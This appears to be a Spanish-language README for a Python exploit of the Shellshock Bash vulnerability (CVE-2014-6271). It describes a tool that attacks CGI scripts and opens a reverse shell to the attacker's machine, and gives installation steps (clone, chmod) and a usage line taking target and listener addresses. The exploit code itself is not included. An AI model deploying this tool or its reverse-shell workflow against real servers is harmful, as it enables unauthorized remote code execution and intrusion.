🚨 Exploit RCE de Shellshock (CVE-2014-6271)

Este es un exploit en Python para la vulnerabilidad Shellshock (CVE-2014-6271), que afecta a GNU Bash. El exploit apunta a scripts CGI en servidores web vulnerables y establece una shell reversa a la máquina del atacante.

ID de CVE

CVE-2014-6271

Aviso legal

Esta herramienta está destinada solo para fines educativos y éticos.

Características

• Explota scripts CGI vulnerables usando Shellshock
• Manejador de shell reversa
• Soporta:
  • HTTP y HTTPS
  • Rutas CGI personalizadas
  • Soporte de proxy
• Shell interactiva al tener éxito

Información de CVE

• CVE: CVE-2014-6271
• Vulnerabilidad: Inyección de comandos en variables de entorno de GNU Bash
• Impacto: Ejecución remota de código (RCE) mediante cabeceras manipuladas en aplicaciones CGI

Requisitos

• Python 3.x
• pwntools
• requests

Instalación

sudo python3 -m pip install pwntools
sudo python3 -m pip install requests
git clone https://github.com/knightc0de/Shellshock_vuln_Exploit.git
cd Shellshock_vuln_Exploit/
chmod +x CVE-2014-6271.py

Ejemplo de uso

python3 CVE-2014-6271 --rhost <target_ip> --lhost <your_ip> --lport <your_port> --pages /cgi-bin/test.cgi